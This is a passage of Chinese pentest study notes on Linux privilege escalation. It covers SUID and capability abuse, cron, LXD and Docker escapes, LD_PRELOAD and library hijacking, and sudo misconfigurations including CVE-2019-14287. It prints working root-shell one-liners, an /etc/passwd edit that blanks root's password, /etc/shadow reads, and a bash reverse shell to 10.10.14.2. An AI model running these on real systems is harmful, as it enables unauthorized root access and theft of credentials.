linux提权
通配符泛滥
通配符可以用作其他字符的替代,并且在其他操作之前由 shell 解释。通配符的例子包括:
| Character 角色 | Significance 意义 |
|---|---|
* |
一个星号,可以匹配文件名中的任意数量的字符。 |
? |
匹配单个字符。 |
[ ] |
括号中包含字符,并且可以在定义的位置匹配任意单个字符。 |
| ~ | 一个开头的波浪号扩展为用户主目录的名称,或者可以追加另一个用户名来引用该用户的主目录。 |
- |
括号内的连字符将表示一个字符范围。 |
特殊权限提权
特殊权限
setuid
Set User ID upon Execution ( setuid ) 权限可以允许用户以另一个用户的权限执行程序或脚本,通常具有提升的权限。 setuid 位显示为 s 。
1 | find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null |
可能可以通过设置 SETUID 位来逆向工程程序,识别漏洞,并利用此漏洞提升权限。许多程序具有可以用来执行命令的附加功能,如果 setuid 位被设置在这些程序上,这些功能就可以用于我们的目的。
1 | find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null |
Set-Group-ID
Set-Group-ID(setgid)权限是另一种特殊权限,它允许我们以创建它们的组的身份运行二进制文件。可以使用以下命令枚举这些文件: find / -uid 0 -perm -6000 -type f 2>/dev/null 。这些文件可以像 setuid 二进制文件一样被利用来提升权限。
Capabilities提权
Linux capabilities 是 Linux 操作系统中的一个安全特性,它允许将特定的权限授予进程,使它们能够执行通常受限的特定操作。这允许对哪些进程可以访问特定权限进行更细粒度的控制,使其比传统的 Unix 模型(为用户和组授予权限)更安全。
然而,和任何安全特性一样,Linux capabilities 并非无懈可击,攻击者可以加以利用。一个常见的漏洞是使用 capabilities 给那些没有充分沙箱化或与其他进程隔离不足的进程赋予权限,这使我们能够提升它们的权限并访问敏感信息或执行未授权操作。
另一个潜在漏洞是功能的误用或过度使用,这可能导致进程拥有超出其所需的权限。这会创建不必要的 security 风险,因为我们可以利用这些权限来获取敏感信息或执行未经授权的操作。
总的来说,Linux Capabilities可以是一个实用的 security 功能,但必须小心谨慎地正确使用,以避免漏洞和潜在的利用。
设置Capabilities
1 | sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic |
当为二进制文件设置权限时,这意味着该二进制文件将能够执行某些特定操作,而没有这些权限则无法执行。例如,如果为二进制文件设置了 cap_net_bind_service 权限,该二进制文件将能够绑定到网络端口,这是一个通常受限的特权。
某些功能,例如 cap_sys_admin ,它允许可执行文件以管理员权限执行操作,如果使用不当可能会很危险。例如,我们可以利用它们来提升权限,获取敏感信息或执行未经授权的操作。因此,为正确沙盒化并隔离的可执行文件设置这些类型的功能至关重要,并避免不必要地授予它们。
| Capability 功能 | Description 描述 |
|---|---|
cap_sys_admin |
允许以管理员权限执行操作,例如修改系统文件或更改系统设置。 |
cap_sys_chroot |
允许更改当前进程的根目录,使其能够访问原本无法访问的文件和目录。 |
cap_sys_ptrace |
允许附加到并调试其他进程,可能使其能够访问敏感信息或修改其他进程的行为。 |
cap_sys_nice |
允许提高或降低进程的优先级,可能使其能够访问原本受限的资源。 |
cap_sys_time |
允许修改系统时钟,可能允许其操纵时间戳或导致其他进程以意想不到的方式运行。 |
cap_sys_resource |
允许修改系统资源限制,例如最大打开文件描述符数量或可分配的最大内存量。 |
cap_sys_module |
允许加载和卸载内核模块,可能允许其修改操作系统的行为或获取敏感信息。 |
cap_net_bind_service |
允许绑定到网络端口,可能允许其获取敏感信息或执行未经授权的操作。 |
当可执行文件具有功能时,它可以执行功能允许的操作。但是,它将无法执行任何功能不允许的操作。这允许对二进制文件的权限进行更细粒度的控制,并有助于防止安全漏洞和未经授权访问敏感信息。
在使用 setcap 命令在 Linux 中为可执行文件设置功能时,我们需要指定要设置的功能以及要分配的值。我们使用的值将取决于我们正在设置的具体功能以及我们想要授予可执行文件的权限。
以下是一些我们可以与 setcap 命令一起使用的值的示例,以及它们的作用的简要描述:
| Capability Values 功能值 | Description 描述 |
|---|---|
= |
此值设置可执行文件的指定功能,但不授予任何权限。如果我们想清除可执行文件之前设置的功能,这会很有用。 |
+ep |
此值授予可执行文件指定功能的有效和允许的权限。这允许可执行文件执行功能允许的操作,但不允许它执行功能不允许的任何操作。 |
+ei |
此值授予指定功能给可执行文件足够的可继承权限。这允许可执行文件执行功能允许的操作,并由可执行文件产生的子进程继承该功能并执行相同操作。 |
+p |
此值授予指定能力对可执行程序的有效权限。这允许可执行程序执行该能力允许的操作,但不允许其执行任何该能力不允许的操作。如果我们希望授予可执行程序该能力,但阻止其继承该能力或允许子进程继承它,这会很有用。 |
一些 Linux 能力可用于提升用户的权限至 root ,包括:
| Capability 功能 | Description 描述 |
|---|---|
cap_setuid |
允许进程设置其有效用户 ID,这可以用来获得另一个用户的权限,包括 root 用户。 |
cap_setgid |
允许设置其有效组 ID,这可以用来获得另一个组的权限,包括 root 组。 |
cap_sys_admin |
这项功能提供了广泛的行政权限,包括执行许多仅限 root 用户保留的操作的能力,例如修改系统设置以及挂载和卸载文件系统。 |
cap_dac_override |
允许绕过文件读、写和执行权限检查。 |
枚举Capabilities
1 | find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \; |
这行代码使用 find 命令搜索典型位置的所有二进制可执行文件,然后使用 -exec 标志在每个文件上运行 getcap 命令,显示为该二进制文件设置的功能。该命令的输出将显示系统上所有二进制可执行文件以及每个文件设置的功能列表。1
getcap -r / 2>/dev/null
capabilities可执行文件利用
如果我们使用低权限账户访问系统,然后发现了 cap_dac_override 功能:
利用功能
1 | getcap /usr/bin/vim.basic |
例如, /usr/bin/vim.basic 二进制文件在没有特殊权限的情况下运行,例如使用 sudo 。但是,因为该二进制文件设置了 cap_dac_override 功能,它可以提升运行它的用户的权限。这将允许渗透测试人员获得 cap_dac_override 功能并执行需要此功能的任务。
我们也可以在非交互模式下进行这些更改:
gdb
1 | gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit |
perl
1 | perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' |
php
1 | php -r "posix_setuid(0); system('/bin/sh');" |
python
1 | python -c 'import os; os.setuid(0); os.system("/bin/sh")' |
ruby
1 | ruby -e 'Process::Sys.setuid(0); exec "/bin/sh"' |
rvim/vim等编辑器
1 | rvim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' |
1 | vim -c ':py import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")' |
也可以:1
echo -e ':%s/^root:[^:]*:/root::/\nwq!' | /usr/bin/vim.basic -es /etc/passwd
可以看到那行中的 x 已经消失了,这意味着我们可以使用 su 命令以 root 身份登录而不需要输入密码。
tar
- tar权限
```sh
norris@sirrom:~$ /sbin/getcap -r / 2>/dev/null
/usr/bin/tar = cap_dac_read_search+ep1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
- cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
- 绕过权限检查即可成功创建压缩文件
- ```sh
norris@sirrom:~$ tar -vcf root.tar /root
tar: Removing leading `/' from member names
/root/
/root/root.txt
/root/.bashrc
/root/.gnupg/
/root/.gnupg/private-keys-v1.d/
/root/.bash_history
/root/.cache/
/root/.local/
/root/.local/share/
/root/.local/share/nano/
/root/.profile解压缩
```sh
norris@sirrom:~$ ls -la root.tar
-rw-r—r— 1 norris norris 10240 Mar 19 08:44 root.tar
norris@sirrom:~$ tar -xf root.tar
norris@sirrom:~$ ls -la /root
total 36
drwx——— 5 norris norris 4096 Oct 11 2019 .
drwxr-xr-x 6 norris norris 4096 Mar 19 08:45 ..
-r———— 1 norris norris 672 Oct 11 2019 .bash_history
-rw-r—r— 1 norris norris 570 Jan 31 2010 .bashrc
drwx——— 2 norris norris 4096 Oct 11 2019 .cache
drwx——— 3 norris norris 4096 Oct 11 2019 .gnupg
drwxr-xr-x 3 norris norris 4096 Oct 11 2019 .local
-rw-r—r— 1 norris norris 148 Aug 17 2015 .profile
-rw———- 1 norris norris 33 Oct 11 2019 root.txt1
2
3
4
5
6
7
- 读取root.txt文件
1. ```sh
norris@sirrom:~$ cat /root/root.txt
8fc9376d961670ca10be270d52eda423
openssl
使用openssl读取/etc/shadow文件。
1 | setcap =ep /usr/bin/openssl |
服务提权
Cron滥用
Cron 作业也可以设置为运行一次(例如在启动时)。它们通常用于运行备份、清理目录等管理任务。 crontab 命令可以创建一个 cron 文件,该文件将在指定的计划由 cron 守护进程运行。当创建时,cron 文件将创建在 /var/spool/cron 为创建它的特定用户。crontab 文件中的每个条目需要以下顺序的六项:分钟、小时、天、月、星期、命令。例如, 0 */12 * * * /home/admin/backup.sh 条目将每 12 小时运行一次。
根 crontab 几乎总是只能由 root 用户或具有完全 sudo 特权的用户编辑;然而,它仍然可能被滥用。你可能会找到一个作为 root 运行的可写脚本,即使你无法读取 crontab 来知道确切的计划,你也可能能够确定它运行的频率(例如,每小时创建一个 .tar.gz 文件的备份脚本)。在这种情况下,你可以在脚本末尾追加一个命令(例如一个反向 shell 的单行命令),它将在下一次 cron 作业运行时执行。
某些应用程序会在 /etc/cron.d 目录中创建 cron 文件,并且可能配置错误,允许非 root 用户编辑它们。
1 | find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null |
在 /dmz-backups 目录中快速查看显示似乎每三分钟创建的文件。这似乎是一个严重的配置错误。也许系统管理员打算指定每三小时像 0 */3 * * * 一样,但错误地写成了 */3 * * * * ,这告诉 cron 作业每三分钟运行。第二个问题是 backup.sh 的 shell 脚本是全局可写的,并以 root 身份运行。
我们可以使用 pspy 这个命令行工具来确认 cron 作业是否正在运行,该工具用于查看正在运行的进程,而无需 root 权限。我们可以用它来查看其他用户运行的命令、cron 作业等。它的工作原理是通过扫描 procfs。
1 | ./pspy64 -pf -i 1000 |
incron提权
算是cron的分支,只不过cron算是基于时间的自启动规则,而incron则是基于文件事件的自启动规则
incron 则是根据文件系统事件执行命令,例如:
1 | 某个文件被写入 |
incron 的核心组成
incron 通常由这几部分组成:
1 | incrond 守护进程,负责监听文件事件并执行命令 |
常见配置位置:
1 | /etc/incron.d/* |
可以通过cat /etc/incron.d/*来检查是否存在可攻击面
容器提权
LXC概述
Linux 容器( LXC )是一种操作系统级虚拟化技术,它允许多个 Linux 系统在单个主机上隔离运行,每个容器拥有自己的进程,但共享主机系统内核。
LXC 由于其易用性而非常受欢迎,并已成为 IT 安全的重要组成部分。
默认情况下, LXC 比虚拟机消耗更少的资源,并具有标准接口,便于同时管理多个容器。具有 LXC 的平台甚至可以跨多个云进行组织,提供可移植性,并确保在开发者系统上正常运行的应用程序可以在任何其他系统上运行。此外,大型应用程序可以通过 Linux 容器接口启动、停止或更改其环境变量。
LXD
Linux 守护进程(LXD)在某些方面狠相似,但是它设计了一个用于包含完整的操作系统。因此它不是一个应用容器而是一个系统容器。在我们可以使用此服务提升权限之前,我们必须属于 lxc 或 lxd 组。我们可以使用以下命令来确认这一点:
1 | id |
从现在开始,我们可以通过几种方式来利用 LXC / LXD 。我们可以创建自己的容器并将其传输到目标系统,或者使用现有的容器。不幸的是,管理员经常使用安全性很低甚至没有安全性的模板。这种态度的结果是,我们已经有了可以用来对付我们自己系统的工具。
这些模板通常没有密码,特别是如果它们是简单的测试环境。这些应该可以快速访问并且易于使用。对安全的关注会使整个过程变得复杂,使其更难,从而大大减慢速度。如果我们运气好,系统上有一个这样的容器,它就可以被利用。为此,我们需要将这个容器作为图像导入
1 | lxc image import ubuntu-template.tar.xz --alias ubuntutemp |
在确认此图像已成功导入后,我们可以通过指定 security.privileged 标志和容器的根路径来启动并配置图像。此标志禁用所有允许我们操作主机的隔离功能。
1 | lxc init ubuntutemp privesc -c security.privileged=true |
1 | lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true |
完成这些操作后,我们可以启动容器并登录到其中。在容器中,我们可以进入我们指定的路径,以 root 的方式访问主机系统的 resource 。1
lxc start privesc
1
lxc exec privesc /bin/bash
docker
docker共享目录
使用 Docker 时,共享目录(卷挂载)可以在主机系统和容器文件系统之间建立桥梁。通过共享目录,主机系统上的特定目录或文件可以被容器访问。这对于持久化数据、共享代码以及促进开发环境和 Docker 容器之间的协作非常有用。然而,这始终取决于环境的设置和管理员想要实现的目标。要创建共享目录,需要指定主机系统上的一个路径和容器内部的一个对应路径,从而在这两个位置之间建立直接链接。
共享目录提供了几个优势,包括能够在容器生命周期之外持久化数据、简化代码共享和开发,以及促进团队协作。需要注意的是,共享目录可以根据特定的管理员要求以只读或读写方式挂载。当以只读方式挂载时,容器内的修改不会影响主机系统,这在优先考虑只读访问以防止意外修改时非常有用。
我们可以使用 docker 二进制文件与套接字交互,并创建自己的 Docker 容器,将主机根目录( / )映射到容器上的 /hostsystem 目录。有了这个设置,我们就能获得对主机系统的完全访问权限。因此,我们必须正确映射这些目录,并使用 main_app Docker 镜像。1
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
1 | /tmp/docker -H unix:///app/docker.sock ps |
现在,我们可以使用登录到新的特权 Docker 容器,并导航到 /hostsystem
1 | /tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash |
Docker套接字
一种也可能发生的情况是 Docker 套接字可写。通常,这个套接字位于 /var/run/docker.sock 。然而,位置可能理解上有所不同。因为基本上,这只能由 root 或 docker 组写入。如果我们作为用户,不属于这两个组之一,并且 Docker 套接字仍然具有可写的权限,那么我们仍然可以使用这种情况来提升我们的权限。1
docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash
K8s
Kubernetes,也被称为 K8s ,是一项具有革命性影响的技术,对软件开发领域产生了重大影响。该平台彻底改变了应用程序的部署和管理流程,提供了一种更高效、更流畅的方法。Kubernetes 采用开源架构,专门设计用于促进应用程序容器的更快、更简单的部署、扩展和管理。
由 Google 开发,Kubernetes 利用超过十年的运行复杂工作负载的经验。因此,它已成为 DevOps 宇宙中微服务编排的关键工具。自创建以来,Kubernetes 已捐赠给云原生计算基金会,在那里它已成为行业的黄金标准。理解 K8s 容器的安全方面至关重要。在渗透测试期间,我们可能会访问其中一个容器。
Kubernetes 的一个关键特性是其适应性和与各种环境的兼容性。该平台提供了广泛的功能,使开发人员和系统管理员能够轻松配置、自动化和扩展他们的部署和应用程序。因此,Kubernetes 已成为希望简化开发流程和提高效率的组织的首选解决方案。
Logrotate
每个 Linux 系统都会产生大量的日志文件。为了防止硬盘溢出,一个名为 logrotate 的工具负责归档或处理旧的日志。如果不对日志文件加以关注,它们会越来越大,最终占用所有可用的磁盘空间。此外,搜索大量日志文件非常耗时。为了防止这种情况并节省磁盘空间, logrotate 应运而生。 /var/log 中的日志为管理员提供了他们需要的信息,以确定故障背后的原因。几乎同样重要的是那些未被注意的系统细节,例如所有服务是否正常运行。
Logrotate 提供了许多管理这些日志文件的功能。这些功能包括:
- 指定日志文件的
size。 - 它的
age, - 以及当其中一个因素达到时需要采取的 action 措施。
轮换本身的功能在于重命名日志文件。例如,可以为每天的新日志文件创建新的文件,而旧的文件将自动重命名。另一个例子是清空最旧的日志文件,从而减少内存消耗。
这个工具通常通过 cron 定期启动,并通过配置文件 /etc/logrotate.conf 进行控制。在这个文件中,它包含了决定 logrotate 功能的全局设置。
如果满足要求,我们可以使用一个现成的漏洞利用程序来执行此操作。该漏洞利用程序名为 logrotten(https://github.com/whotwagner/logrotten)。我们可以在目标系统的类似内核上下载并编译它,然后将其传输到目标系统。或者,如果我们可以在目标系统上编译代码,我们也可以直接在目标系统上执行。
接下来,我们需要一个要执行的载荷。这里有许多不同的选项可供我们使用。在这个例子中,我们将使用我们用来攻击目标系统的虚拟机的 IP 和 port 来运行一个简单的基于 bash 的反向 shell。
1 | echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload |
在运行漏洞利用程序之前,我们需要确定 logrotate 在 logrotate.conf 中使用的是哪个选项。
1 | grep "create\|compress" /etc/logrotate.conf | grep -v "#" |
如果是create,即可利用1
./logrotten -p ./payload /tmp/tmp.log
记得起一个nc连接
内核漏洞
CVE
先检查内核级别和 Linux 操作系统版本。1
uname -a
1 | cat /etc/lsb-release |
通过 Google 搜索 可以找到漏洞的 PoC。接下来使用 wget 或其他文件传输方法将其下载到系统上。我们可以使用 gcc 编译漏洞代码,并使用 chmod +x 设置可执行位。
Dirty Pipe
Linux 内核中的一个漏洞,名为 Dirty Pipe(CVE-2022-0847),允许未经授权地写入 Linux 上的 root 用户文件。从技术角度来看,该漏洞与 2016 年发现的 Dirty Cow 漏洞相似。从版本 5.8 到 5.17 的所有内核都受到影响并易受此漏洞攻击。
简单来说,这个漏洞允许用户写入任意文件,只要他对这些文件有读取权限。值得注意的是,Android 手机也受到影响。Android 应用以用户权限运行,因此一个恶意或被攻陷的应用程序可能接管手机。
此漏洞基于管道。管道是进程间单向通信的机制,在 Unix 系统上尤其流行。例如,我们可以编辑 /etc/passwd 文件并移除 root 的密码提示。这将允许我们使用 su 命令登录而不需要密码提示。
共享库
Linux 程序通常使用动态链接共享对象库。库包含编译代码或其他数据,开发者使用它们以避免在多个程序中重复编写相同的代码片段。Linux 中有两种类型的库: static libraries (以.a 文件扩展名表示)和 dynamically linked shared object libraries (以.so 文件扩展名表示)。当程序被编译时,静态库成为程序的一部分,并且不能被修改。然而,动态库可以被修改以控制调用它们的程序的执行。
指定动态库位置有多种方法,这样系统在程序执行时就知道去哪里查找它们。这包括编译程序时的 -rpath 或 -rpath-link 标志,使用环境变量 LD_RUN_PATH 或 LD_LIBRARY_PATH ,将库放在 /lib 或 /usr/lib 默认目录,或在 /etc/ld.so.conf 配置文件中指定包含库的另一个目录。
此外, LD_PRELOAD 环境变量可以在执行二进制文件之前加载库。来自该库的函数优先于默认函数。可以使用 ldd 工具查看二进制文件所需的共享对象。
1 | ldd /bin/ls |
LD_PRELOAD 权限提升
使用sudo -l查看
如果存在1
env_keep += LD_PRELOAD
可尝试利用
让我们看看如何利用 LD_PRELOAD 环境变量来提升权限。为此,我们需要一个具有 sudo 权限的用户。
我们可以利用 LD_PRELOAD 的问题来运行自定义共享库文件。让我们编译以下库:1
2
3
4
5
6
7
8
9
10
11#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
我们可以按以下方式编译:
1 | gcc -fPIC -shared -o root.so root.c -nostartfiles |
1 | sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart |
共享对象劫持
开发中的程序和二进制文件通常都有与之关联的自定义库
我们可以使用 ldd 来打印二进制文件或共享对象所需的共享对象。 Ldd 显示每个程序依赖项的对象位置以及它们加载到内存中的十六进制地址。
1 | ldd payroll |
查看/development发现可写可尝试利用
我们看到一个名为 libshared.so 的非标准库被列为该二进制文件的依赖项。如前所述,可以从自定义位置加载共享库。其中一种设置是 RUNPATH 配置。此文件夹中的库优先于其他文件夹。这可以使用 readelf 实用程序进行检查。1
readelf -d payroll | grep PATH
该配置允许从 /development 文件夹加载库,该文件夹对所有用户可写。这种配置错误可以被利用,通过在 /development 中放置恶意库,它将优先于其他文件夹,因为该文件中的条目会首先被检查(在配置文件中列出的其他文件夹之前)。
在编译库之前,我们需要找到二进制调用到的函数名称。1
2
3
4
5ldd payroll
linux-vdso.so.1 (0x00007ffd22bbc000)
libshared.so => /development/libshared.so (0x00007f0c13112000)
/lib64/ld-linux-x86-64.so.2 (0x00007f0c1330a000)
1 | cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so |
1 | ./payroll |
我们可以将现有的库复制到 development 文件夹。运行 ldd 针对二进制文件会列出库的路径为 /development/libshared.so ,这意味着它存在漏洞。执行二进制文件会抛出一个错误,指出它找不到名为 dbquery 的函数。我们可以编译一个包含此函数的共享对象。
1 | #include<stdio.h> |
dbquery 函数将我们的用户 ID 设置为 0(root),并且当调用 /bin/sh 时会执行。使用 GCC 来编译它。
1 | gcc src.c -fPIC -shared -o /development/libshared.so |
python库劫持
Python 是世界上最流行和广泛使用的编程语言之一,已经在 IT 行业取代了许多其他编程语言。程序员如此喜欢 Python 有很多原因。其中之一是用户可以与庞大的库集合一起工作。
前提:存在python解释器有sudo权限
写权限错误
一个或另一个 python 模块可能由于错误设置了所有用户的写权限。这允许对 python 模块进行编辑和操作,以便我们可以插入命令或函数来产生我们想要的结果。如果我们为导入此模块的 Python 脚本分配了 SUID / SGID 权限,我们的代码将自动被包含。
如果我们查看 mem_status.py 脚本的设置权限,我们可以看到它有一个 SUID 设置。
1 | ls -l mem_status.py |
1 | -rwsrwxr-x 1 root mrb3n 188 Dec 13 20:13 mem_status.py |
通过分析 mem_status.py Python 文件的权限,我们了解到我们可以执行这个脚本,并且我们也有权限查看脚本,读取其内容。
一个简单的例子:1
2
3
4
5import psutil
available_memory = psutil.virtual_memory().available * 100 / psutil.virtual_memory().total
print(f"Available memory: {round(available_memory, 2)}%")
可以看出来它调用了virtual_memory这个方法
因此我们可以1
grep -r "def virtual_memory" /usr/local/lib/python3.8/dist-packages/psutil/*
找到库后查看相关权限
1 | ls -l /usr/local/lib/python3.8/dist-packages/psutil/__init__.py |
一旦发现存在写权限,便可以进行劫持
比如,写入1
2import os
os.system('id')
库路径
在 Python 中,每个版本都有指定的库( modules )搜索和导入的顺序。Python 导入 modules 的顺序基于优先级系统,这意味着列表中靠前的路径优先于靠后的路径。我们可以通过发出以下命令来看到这一点:
1 | python3 -c 'import sys; print("\n".join(sys.path))' |
要使用这个变体,需要满足两个前提条件。
- 被脚本导入的模块位于通过
PYTHONPATH变量列出的低优先级路径之一下。 - 我们必须对列表中优先级较高的某个路径拥有写入权限。
因此,如果导入的模块位于列表较低的位置,并且我们的用户可以编辑更高优先级的路径,我们可以用自己的名称创建一个模块,并包含我们想要的函数。由于更高优先级的路径会先被读取并检查所讨论的模块,Python 会访问它找到的第一个模块并导入它,然后再到达原始和预期的模块。
写入恶意脚本并运行调用相关库的脚本即可
授权机制提权
Sudo风暴
cve-2019-14287
一般情况下,大多数Linux发行版的Runas规范(/etc /sudoers)都如下图所示,其中定义的ALL关键字将允许admin或sudo组中的用户以目标系统中的任意用户身份来运行命令:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
test ALL=(ALL, !root) /bin/bash
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
用sudo -l表示是这样的:
1 | User user may run the following commands on this host: |
漏洞描述
当 /etc/sudoers 文件中配置了允许用户以除了 root 之外的任意用户身份执行命令时(即使用了 !root 关键字),攻击者可以通过指定一个特殊的用户 ID(-1 或 4294967295)来绕过这个限制,最终以 root 权限执行命令。
漏洞配置前置条件
正如上方配置代码的第 16 行所示:
1 | (ALL, !root) NOPASSWD: /bin/bash |
- 本意:允许用户以任何人的身份运行
/bin/bash,但是绝对不能以 root 身份运行。 - 缺陷:Sudo 在将用户 ID 转换为系统可识别的权限时存在逻辑缺陷。
漏洞利用 (Exploitation)
要利用此漏洞,只需要在执行 sudo 命令时,通过 -u# 参数指定用户 ID 为 -1 或其无符号整数等效值 4294967295。
1 | sudo -u#-1 /bin/bash |
或者
1 | sudo -u#4294967295 /bin/bash |
执行上述命令后,通过 id 命令验证,你会发现自己已经拿到了 root 权限 (uid=0(root))。
漏洞原理 (Root Cause)
- 当我们使用
sudo -u#-1时,sudo 会尝试以 UID 为-1的身份运行命令。 - 在 Linux 系统底层的 C 语言库中,用于更改用户身份的函数(如
setresuid等)会将-1视为一个特殊值,表示“不要更改当前的 User ID”。 - 因为 sudo 本身是一个具有 SUID 权限的程序(它启动时是 root 权限),当它错误地将
-1解释为不改变当前权限时,它实际上保持了其自身的uid=0(root 权限)。 - 同时,由于我们在命令行输入的是
-1而不是root或0,sudo 的策略解析器被欺骗了,它认为我们并没有违反!root的规则,从而放行了命令。修复方案
将 Sudo 升级到 1.8.28 或更高版本。新版本修复了对用户 ID 字符串到数字的解析逻辑,不再允许通过这种方式绕过。
sudo apt/apt-get/aptitude
这并非程序代码的安全漏洞,而是属于 GTFOBins (Living Off The Land Binaries) 的一种典型利用。当系统管理员配置不当,允许普通用户通过 sudo 免密执行 apt、apt-get 或 aptitude 命令时,攻击者可以利用包管理器的内置配置覆盖功能,执行任意系统命令,从而获取 Root 权限。
漏洞利用 (Exploitation)
利用包管理器特有的 -o (Option) 参数,在执行正常的更新或安装动作之前,强行插入并执行一个 Shell。
Payload:
1 | # 使用 apt 提权 |
执行后,系统会直接弹出一个具有 Root 权限的 Bash Shell。
漏洞原理 (Root Cause)
- 底层共享机制: 在 Debian/Ubuntu 体系中,
apt、apt-get和aptitude虽然前端表现不同,但底层都调用了相同的核心 C++ 库libapt-pkg。 - Hook 机制滥用: APT 系统设计了预执行 (
Pre-Invoke) 和后执行 (Post-Invoke) 的 Hook 机制,本意是方便管理员在安装软件前后自动执行备份或重启服务等脚本。 - 参数覆盖 (
-o):-o参数允许用户在命令行中临时覆盖默认的 APT 配置文件。 - 权限继承: 当我们使用
sudo运行命令时,程序以 Root 权限启动。此时我们将APT::Update::Pre-Invoke强行指向/bin/bash,libapt-pkg就会以当前的 Root 权限去执行这个 Hook,最终导致权限提升。
修复方案与防范
- 根本原则: 遵循最小权限原则(PoLP),绝不要在
/etc/sudoers中给予普通用户直接运行apt或apt-get的sudo权限。 - 替代方案: 如果确实需要让普通用户执行系统更新,应该编写一个严格受限的 Bash 脚本(脚本内写死
apt-get update && apt-get upgrade),并只允许用户sudo执行该特定脚本,而不是直接开放apt二进制文件的执行权限。
sudo apache2
漏洞描述
通过滥用具有 sudo 权限的 apache2 二进制文件,攻击者可以实现越权任意文件读取。在这个案例中,攻击者成功读取了本应只有 Root 才能查看的系统密码本 /etc/shadow,泄露了 Root 用户的密码 Hash,为后续的离线密码破解铺平了道路。
漏洞利用
利用 apache2 的 -f 参数(用于指定备用的配置文件),强制它以 Root 权限去加载目标敏感文件。
Payload:
1 | sudo apache2 -f /etc/shadow |
执行后,由于 /etc/shadow 的内容根本不符合 Apache 配置文件的语法规范,Apache 解析失败并报错退出。 但是关键点在于:Apache 在抛出语法错误(Syntax error)时,为了方便排错,会将被认为“有语法错误”的那行内容原样打印在终端上。这使得文件的第一行(通常正是 root 用户的密码 Hash)被成功泄露出来。
漏洞原理
- 权限继承: 通过
sudo执行,apache2进程是以 Root 权限启动运行的,因此它畅通无阻地读取了/etc/shadow。 - 报错机制被滥用: 程序的报错提示逻辑原本是为了方便管理员 Debug,却被攻击者巧妙地转化为了一种“带外数据提取”(Data Exfiltration)的通道。把“目标文件”当成“配置文件”喂给程序,利用报错信息把内容“吐”出来。
- 后续攻击: 拿到 开头的 SHA-512 Hash 字符串后,攻击者就可以将其保存到本地,使用 John the Ripper 或 Hashcat 等工具进行离线暴力破解,从而获取真实的 root 密码。
修复方案与防范
- 遵循最小权限原则: 如果普通用户(如开发人员)只需要管理网站服务的启停,绝对不应该在
/etc/sudoers中赋予直接运行底层二进制文件sudo /usr/sbin/apache2的权限。 - 正确配置 Sudoers: 应该只允许执行特定的、受限的服务管理命令,例如:
user ALL=(root) NOPASSWD: /bin/systemctl restart apache2这样用户就只能重启服务,而无法利用程序本身的参数去执行恶意操作。
sudo ash/bash/zsh/sh等
漏洞描述
当系统管理员在配置 /etc/sudoers 时犯了极其低级的错误,直接将某个 Shell 程序(如 /bin/ash, /bin/bash, /bin/sh 等)的 sudo 执行权限授予了普通用户,攻击者就可以直接通过该程序生成一个具有 Root 权限的交互式命令行环境。这是 GTFOBins 中最直观的 Shell 逃逸/直接提权。
漏洞利用 (Exploitation)
无需任何复杂的参数或环境配置,直接带上 sudo 执行该 Shell 即可。
Payload:
1 | sudo ash |
同理,如果是其他 Shell,就是 sudo bash, sudo sh, sudo zsh 等
执行该命令后,你会发现终端的提示符通常会从 $ 变成 #,输入 id 命令可以确认已经获取到 uid=0(root) 权限。
漏洞原理 (Root Cause)
- 程序的本质:
ash是一个命令解释器,它的核心功能就是接收用户的输入,并在当前用户的权限上下文中执行这些命令。 - 权限继承:
sudo的机制就是以目标用户(默认为 Root)的身份拉起一个进程。当我们执行sudo ash时,实际上是在告诉系统:“请以 Root 身份为我启动一个全新的命令行窗口”。 - 合法但致命: 这完全不是漏洞,而是
sudo和ash在正常发挥它们各自的功能。这是一种典型的配置逻辑缺陷,攻击者只是顺水推舟,利用了这个合法拉起的 Root 环境。
修复方案与防范
- 绝对的红线: 永远不要在
/etc/sudoers中允许普通用户使用sudo去执行任何可以提供交互式 Shell 的二进制文件(包括但不限于/bin/bash,/bin/sh,/bin/ash,/bin/zsh,/bin/dash,甚至包括带有执行外部命令功能的文本编辑器如vim,nano)。 - 坚持最小权限原则 (PoLP): 如果普通用户确实需要特权,在
sudoers中必须精确到具体程序的绝对路径,甚至限制到具体的运行参数。例如,如果只允许重启 Nginx,应该配置为:user ALL=(root) NOPASSWD: /bin/systemctl restart nginx
sudo awk
awk 是一款强大的 Linux 文本分析和处理工具。然而,由于它内置了调用系统底层命令的函数,如果管理员在 /etc/sudoers 中不慎将 awk 的 sudo 执行权限授予了普通用户,攻击者就可以利用该内置函数,直接派生出一个具有 Root 权限的交互式 Shell。
漏洞利用 (Exploitation)
